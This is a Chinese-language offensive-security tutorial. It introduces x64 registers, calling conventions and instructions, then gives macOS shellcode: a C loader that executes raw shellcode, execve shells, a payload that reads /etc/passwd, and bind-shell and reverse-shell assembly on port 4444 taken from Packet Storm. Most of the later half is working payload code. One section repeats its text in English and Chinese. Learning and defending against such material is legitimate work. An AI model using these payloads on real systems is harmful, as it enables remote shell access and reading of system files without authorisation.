# x64简介
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## **x64简介**
x64,也被称为x86-64,是一种主要用于桌面和服务器计算的64位处理器架构。它起源于由英特尔生产的x86架构,并在后来由AMD采用并命名为AMD64,是个人计算机和服务器中普遍使用的架构。
### **寄存器**
x64扩展了x86架构,具有16个通用寄存器,标记为`rax`,`rbx`,`rcx`,`rdx`,`rbp`,`rsp`,`rsi`,`rdi`和`r8`到`r15`。每个寄存器可以存储一个64位(8字节)的值。这些寄存器还具有32位、16位和8位的子寄存器,用于兼容性和特定任务。
1. **`rax`** - 传统上用于函数的**返回值**。
2. **`rbx`** - 经常用作内存操作的**基址寄存器**。
3. **`rcx`** - 常用于**循环计数器**。
4. **`rdx`** - 用于各种角色,包括扩展算术运算。
5. **`rbp`** - 栈帧的**基指针**。
6. **`rsp`** - **栈指针**,跟踪栈的顶部。
7. **`rsi`** 和 **`rdi`** - 用于字符串/内存操作中的**源**和**目的**索引。
8. **`r8`** 到 **`r15`** - 在x64中引入的额外通用寄存器。
### **调用约定**
x64的调用约定在操作系统之间有所不同。例如:
* **Windows**:前**四个参数**通过寄存器**`rcx`**,**`rdx`**,**`r8`**和**`r9`**传递。更多的参数被推送到栈上。返回值在**`rax`**中。
* **System V(通常用于类UNIX系统)**:前**六个整数或指针参数**通过寄存器**`rdi`**,**`rsi`**,**`rdx`**,**`rcx`**,**`r8`**和**`r9`**传递。返回值也在**`rax`**中。
如果函数有超过六个输入,则**其余的参数将被传递到栈上**。**RSP**,即栈指针,在任何调用发生之前必须是**16字节对齐**的,这意味着它指向的地址必须能够被16整除。这意味着通常我们需要确保在进行函数调用之前,我们的shellcode中的RSP被正确对齐。然而,在实践中,即使不满足这个要求,系统调用也经常能够正常工作。
### **常见指令**
x64指令具有丰富的指令集,保持与早期x86指令的兼容性并引入新指令。
* **`mov`**:将一个值从一个**寄存器**或**内存位置**移动到另一个寄存器或内存位置。
* 示例:`mov rax, rbx` — 将`rbx`中的值移动到`rax`中。
* **`push`** 和 **`pop`**:将值推送到/从**栈**中弹出。
* 示例:`push rax` — 将`rax`中的值推送到栈中。
* 示例:`pop rax` — 将栈顶的值弹出到`rax`中。
* **`add`** 和 **`sub`**:**加法**和**减法**操作。
* 示例:`add rax, rcx` — 将`rax`和`rcx`中的值相加,并将结果存储在`rax`中。
* **`mul`** 和 **`div`**:**乘法**和**除法**操作。注意:这些操作对操作数的使用有特定的行为。
* **`call`** 和 **`ret`**:用于**调用**和**从函数返回**。
* **`int`**:用于触发软件**中断**。例如,在32位x86 Linux中,`int 0x80`用于系统调用。
* **`cmp`**:比较两个值并根据结果设置CPU的标志位。
* 示例:`cmp rax, rdx` — 将`rax`与`rdx`进行比较。
* **`je`**,**`jne`**,**`jl`**,**`jge`**,...:**条件跳转**指令,根据先前的`cmp`或测试结果改变控制流。
* 示例:在`cmp rax, rdx`指令之后,`je label` — 如果`rax`等于`rdx`,则跳转到`label`。
* **`syscall`**:在某些x64系统(如现代Unix)中用于**系统调用**。
* **`sysenter`**:在某些平台上优化的**系统调用**指令。
### **函数序言**
1. **保存旧的基指针**: `push rbp`(保存调用者的基指针)
2. **将当前栈指针移动到基指针**: `mov rbp, rsp`(为当前函数设置新的基指针)
3. **在栈上为局部变量分配空间**: `sub rsp, `(其中 `` 是所需的字节数)
### **函数尾声**
1. **将当前基指针移动到栈指针**: `mov rsp, rbp`(释放局部变量)
2. **从栈中弹出旧的基指针**: `pop rbp`(恢复调用者的基指针)
3. **返回**: `ret`(将控制权返回给调用者)
## macOS
### 系统调用
有不同类别的系统调用,您可以在[**这里找到它们**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
```c
#define SYSCALL_CLASS_NONE 0 /* Invalid */
#define SYSCALL_CLASS_MACH 1 /* Mach */
#define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */
#define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
```
然后,您可以在[**此网址**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)中找到每个系统调用的编号:
```c
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
1 AUE_EXIT ALL { void exit(int rval); }
2 AUE_FORK ALL { int fork(void); }
3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); }
6 AUE_CLOSE ALL { int close(int fd); }
7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8 AUE_NULL ALL { int nosys(void); } { old creat }
9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); }
10 AUE_UNLINK ALL { int unlink(user_addr_t path); }
11 AUE_NULL ALL { int nosys(void); } { old execv }
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
[...]
```
所以为了调用`open`系统调用(**5**),你需要将其添加为`0x2000000`。
因此,调用open的系统调用号将是`0x2000005`。
### Shellcode
编译方法:
{% code overflow="wrap" %}
```bash
nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
```
{% endcode %}
提取字节:
{% code overflow="wrap" %}
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'
```
{% endcode %}
用于测试shellcode的C代码
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include
#include
#include
#include
int (*sc)();
char shellcode[] = "";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
```
#### Shell
从[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)获取并解释。
{% tabs %}
{% tab title="使用adr" %}
```armasm
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% tab title="使用堆栈" %}
```armasm
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
```
{% endtab %}
{% endtabs %}
#### 使用cat命令读取
目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数(x1)是一个参数数组(在内存中表示为地址的堆栈)。
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
```
#### 使用sh调用命令
To invoke a command using the `sh` command, you can use the following syntax:
要使用`sh`命令调用命令,可以使用以下语法:
```sh
sh -c "command"
```
For example, if you want to execute the `ls` command using `sh`, you would run:
例如,如果你想使用`sh`执行`ls`命令,你可以运行:
```sh
sh -c "ls"
```
This will execute the `ls` command as if it were run directly from the command line.
```armasm
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0
```
#### 绑定 shell
从 [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) 获取的绑定 shell,在**端口 4444**上。
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xffffffffa3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; bind(host_sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x68
syscall
; listen(host_sockid, 2)
xor rsi, rsi
mov sil, 0x2
mov rax, r8
mov al, 0x6a
syscall
; accept(host_sockid, 0, 0)
xor rsi, rsi
xor rdx, rdx
mov rax, r8
mov al, 0x1e
syscall
mov rdi, rax
mov sil, 0x3
dup2:
; dup2(client_sockid, 2)
; -> dup2(client_sockid, 1)
; -> dup2(client_sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
mov rax, r8
mov al, 0x3b
syscall
```
#### 反向 Shell
从[https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html)获取反向 Shell。反向 Shell 到 **127.0.0.1:4444**。
```armasm
section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor rdi, rdi
mul rdi
mov dil, 0x2
xor rsi, rsi
mov sil, 0x1
mov al, 0x2
ror rax, 0x28
mov r8, rax
mov al, 0x61
syscall
; struct sockaddr_in {
; __uint8_t sin_len;
; sa_family_t sin_family;
; in_port_t sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
mov rsi, 0xfeffff80a3eefdf0
neg rsi
push rsi
push rsp
pop rsi
; connect(sockid, &sockaddr, 16)
mov rdi, rax
xor dl, 0x10
mov rax, r8
mov al, 0x62
syscall
xor rsi, rsi
mov sil, 0x3
dup2:
; dup2(sockid, 2)
; -> dup2(sockid, 1)
; -> dup2(sockid, 0)
mov rax, r8
mov al, 0x5a
sub sil, 1
syscall
test rsi, rsi
jne dup2
; execve("//bin/sh", 0, 0)
push rsi
mov rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop rdi
xor rdx, rdx
mov rax, r8
mov al, 0x3b
syscall
```
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